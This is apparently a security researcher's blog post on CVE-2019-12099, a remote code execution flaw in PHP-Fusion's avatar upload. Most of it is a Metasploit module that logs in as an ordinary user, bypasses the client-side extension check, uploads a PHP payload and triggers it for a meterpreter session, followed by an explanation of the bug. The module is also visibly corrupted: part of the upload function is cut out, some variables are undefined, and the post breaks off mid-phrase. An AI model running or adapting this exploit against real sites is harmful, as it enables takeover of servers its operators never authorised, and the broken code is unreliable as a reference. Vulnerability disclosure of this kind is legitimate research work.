## CVE-2019-12099 11 May, 2019 • EXPLOIT Vendor fixed this vulnerability. Check Uploaded Files MIME types is assigned by default setting. Also will place a custom control in the new version for the avatar upload area. I would like to thank Frederick for his tolerant approach and his love for open source codes :)(github /FrederickChan) [>> Click for details <<](https://github.com/php-fusion/PHP-Fusion/commit/943432028b9e674433bb3f2a128b2477134110e6) [Exploit-DB Link](https://www.exploit-db.com/exploits/46839) [CVE-Mitre Link](https://nvd.nist.gov/vuln/detail/CVE-2019-12099) [Download php_fusion_profile_rce.rb](https://pentest.com.tr/exploits/php_fusion_profile_rce.rb) ## PHP-Fusion < 9.03.00 - RCE ``` ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {})...
## CVE-2019-12099 11 May, 2019 • EXPLOIT Vendor fixed this vulnerability. Check Uploaded Files MIME types is assigned by default setting. Also will place a custom control in the new version for the avatar upload area. I would like to thank Frederick for his tolerant approach and his love for open source codes :)(github /FrederickChan) [>> Click for details <<](https://github.com/php-fusion/PHP-Fusion/commit/943432028b9e674433bb3f2a128b2477134110e6) [Exploit-DB Link](https://www.exploit-db.com/exploits/46839) [CVE-Mitre Link](https://nvd.nist.gov/vuln/detail/CVE-2019-12099) [Download php_fusion_profile_rce.rb](https://pentest.com.tr/exploits/php_fusion_profile_rce.rb) ## PHP-Fusion < 9.03.00 - RCE ``` ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "PHP-Fusion < 9.03.00 - Remote Code Execution", 'Description' => %q( This module exploits command execution vulnerability in PHP-Fusion 9.03.00 and prior versions. It is possible to execute commands in the system with ordinary user authority. No need admin privilage. There is almost no control in the avatar upload section in the profile edit area. Only a client-based control working with javascript. (Simple pre-check) If we do not care about this control, the desired file can be sent to the server via Interception-Proxies. The module opens the meterpreter session for you by bypassing the controls. ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module ], 'References' => [ ['URL', 'http://www.pentest.com.tr/exploits/PHP-Fusion-9-03-00-Edit-Profile-Remote-Code-Execution.html'], # Details ['URL', 'https://www.php-fusion.co.uk'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "May 11 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base PHP-Fusion directory path", '/']), OptString.new('USERNAME', [true, "Username to authenticate with", '']), OptString.new('PASSWORD', [true, "Password to authenticate with", '']) ] ) end def exec res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "images","avatars", "#{@shell}") # shell url }) end ## # Login and cookie information gathering ## def login(uname, pass, check) # 1st request to get fusion_token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "home.php") }) cookie = res.get_cookies @fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0] # 2nd request to login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'home.php'), 'cookie' => cookie, 'vars_post' => { 'fusion_token' => @fustoken, 'form_id' => 'loginform', 'user_name' => uname, 'user_pass' => pass, 'login' => '' } ) cookie = res.get_cookies location = res.redirection.to_s if res && res.code == 302 && location.include?('login.php?error') fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}") else return cookie end return nil end ## # Upload malicious file // payload integration ## def upload_shell(cookie, check) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "edit_profile.php"), 'cookie' => cookie }) ncookie = cookie + " " + res.get_cookies # gathering all cookie information res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "edit_profile.php"), 'cookie' => ncookie }) # fetch some necessary post data informations fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0] userid = res.body.split("profile.php?lookup=")[1].split('">")[0] # data preparation to delete priv avatar delete = Rex::MIME::Message.new delete.add_part("#{fustoken}", nil, nil, 'form-data; name="fusion_token"') delete.add_part('userfieldsform', nil, nil, 'form-data; name="form_id"') delete.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="user_name"') delete.add_part("#{usermail}", nil, nil, 'form-data; name="user_email"') delete.add_part('1', nil, nil, 'form-data; name="delAvatar"') delete.add_part("#{userid}", nil, nil, 'form-data; name="user_id"') delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"') delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"') delete.add_part('Update Profile', nil, nil, 'form-data; name="update_profile"') deld = delete.to_s res = send_request_cgi({ 'method' => 'POST', 'data' => deld, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{delete.bound}", 'cookie' => ncookie, 'uri' => normalize_uri(target_uri.path, "edit_profile.php") }) # priv avatar deleted. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "edit_profile.php"), 'cookie' => cookie }) ncookie = cookie + " " + res.get_cookies # recheck cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "edit_profile.php"), 'cookie' => ncookie }) # They changed. fetch again... fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0] userid = res.body.split("profile.php?lookup=")[1].split('">")[0] # The "php" string must be removed for bypass.We can use " 'POST', 'data' => data, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", 'cookie' => ncookie, 'uri' => normalize_uri(target_uri.path, "edit_profile.php") }) location = res.redirection.to_s if res && res.code == 302 && location.include?('error') fail_with(Failure::NoAccess, 'Error occurred during uploading!') else print_status("Trying to upload #{fname}") return true end end ## # Exploit controls and information ## def exploit cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) print_good("Authentication was successful with user: #{datastore['USERNAME']}") if upload_shell(cookie, true) print_good("Control was bypassed. Harmful file upload successfully!") exec end end ## # The end of the adventure (o_O) // AkkuS ## end ``` I'm going to talk a little bit about this overlooked big detail. PHP-Fusion, which is used by too many people, is in great danger :/ It is possible to execute commands in the system with ordinary user authority. No need admin privilage. There is almost no control in the avatar upload section in the profile edit area. A simple preview function works. Preview showing as base64 encode. But there is no contact with the server.   If you think this simple browser control is working, you are very wrong :) It can be easily bypassed when we try to manipulate this area using Burp-Suite which is an Interception-Proxy tool.  When we examine the UserFieldsUnput.inc file, it is much better.  the image name is fully receiving but the extension is not recognizing. For this reason, we can send all file extensions to the server. I exploited this vulnerability as a metasploit module. I suggest you review Exploit. Exploit => 